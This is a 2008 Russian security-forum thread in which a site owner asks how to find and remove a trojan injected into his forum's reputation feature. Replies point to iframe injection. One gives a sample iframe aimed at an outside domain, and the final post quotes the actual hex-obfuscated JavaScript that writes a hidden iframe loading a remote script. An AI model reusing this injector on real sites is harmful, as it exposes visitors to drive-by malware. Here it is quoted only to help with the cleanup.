HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Безопасность и Анонимность > Защита ОС: вирусы, антивирусы, файрволы.
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Вирус на форуме.
  #1  
Старый 06.08.2008, 23:58
Inspector
Познающий
Регистрация: 27.04.2008
Сообщений: 60
С нами: 9494863

Репутация: 36
По умолчанию Вирус на форуме.

На форуме: http://www.rufon.net/forum
сидит троян. Вот как Каспер его палит: http://s60.radikal.ru/i167/0808/94/1c4c61717a03.jpg
Троянская программа палится Касперским во время изменения репутации какому нибудь пользователю.
Обьясните как его dellнуть с форума. И где он может сидеть.
 
Ответить с цитированием

  #2  
Старый 07.08.2008, 00:30
bublebuble
Участник форума
Регистрация: 15.09.2007
Сообщений: 141
С нами: 9818706

Репутация: 81
По умолчанию

по логам видно айфреймер, скорее всего нашли багу в модуле репутации и поставили фрейм с вирусом, ищи лишний код в файлах
 
Ответить с цитированием

  #3  
Старый 07.08.2008, 01:05
bublebuble
Участник форума
Регистрация: 15.09.2007
Сообщений: 141
С нами: 9818706

Репутация: 81
По умолчанию

чтото вроде:
<iframe src="http://www.hhhiiiii.eu"></iframe>
 
Ответить с цитированием

  #4  
Старый 07.08.2008, 01:08
GROB_T
Участник форума
Регистрация: 03.03.2007
Сообщений: 135
С нами: 10100071

Репутация: 124
По умолчанию

скорее всего код зашифрован
 
Ответить с цитированием

  #5  
Старый 02.12.2008, 18:48
Inspector
Познающий
Регистрация: 27.04.2008
Сообщений: 60
С нами: 9494863

Репутация: 36
По умолчанию

Есть http://rufon.net/forum проблемка.
Имя той проблемке: Trojan-Downloader.JS.Small.hq & Trojan-Clicker.HTML.IFrame.gv



Подскажите, уважаемые коллеги. Где на хосте искать вирь, чтобы нах dell-нуть его. И вообще что делать ?
 
Ответить с цитированием

  #6  
Старый 02.12.2008, 18:56
login999
Постоянный
Регистрация: 12.06.2008
Сообщений: 654
С нами: 9427413

Репутация: 973


По умолчанию

Ищи ифреймы в сорце страницы (iframe) и делеть нах все (обычно либо внизу, либо вверху, либо и там, и там)
 
Ответить с цитированием

  #7  
Старый 02.12.2008, 21:42
Mishatko
Познающий
Регистрация: 09.04.2008
Сообщений: 47
С нами: 9520897

Репутация: 23
По умолчанию

ТС озвучьте двиг и плагины к нему.
 
Ответить с цитированием

  #8  
Старый 07.08.2008, 23:48
Indig0
Новичок
Регистрация: 28.07.2008
Сообщений: 9
С нами: 9361461

Репутация: 23
По умолчанию

Во.. оно самое )

Код:
<script>function v4700bdb3e4ebe(v4700bdb3e5e62){  return(parseInt(v4700bdb3e5e62,16));}function v4700bdb3e8d3f(v4700bdb3e9ce2){ var v4700bdb3ecbc3=2; var v4700bdb3eac83='';for(v4700bdb3ebc23=0; v4700bdb3ebc23<v4700bdb3e9ce2.length; v4700bdb3ebc23+=v4700bdb3ecbc3){ v4700bdb3eac83+=(String.fromCharCode(v4700bdb3e4ebe(v4700bdb3e9ce2.substr(v4700bdb3ebc23, v4700bdb3ecbc3))));}return v4700bdb3eac83;} document.write(v4700bdb3e8d3f('3C5343524950543E77696E646F772E7374617475733D27446F6E65273B646F63756D656E742E777269746528273C696672616D65206E616D653D656435207372633D5C27687474703A2F2F676F6F676C652D7374617469737469632E636F6D2F696E2E6367693F323F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A3634373133292B273863375C272077696474683D353833206865696768743D313131207374796C653D5C27646973706C61793A206E6F6E655C273E3C2F696672616D653E27293C2F5343524950543E'));</script>
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Удаляем вирус... YoYo Factory Защита ОС: вирусы, антивирусы, файрволы. 10 27.07.2008 00:26
Новый вирус "зачистит" миллионы компьютеров… в пятницу •••™NO FEAR™••• Мировые новости. Обсуждения. 69 05.02.2006 06:11
Создан первый вирус против "1С" DRON-ANARCHY Мировые новости. Обсуждения. 0 16.06.2005 23:09



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.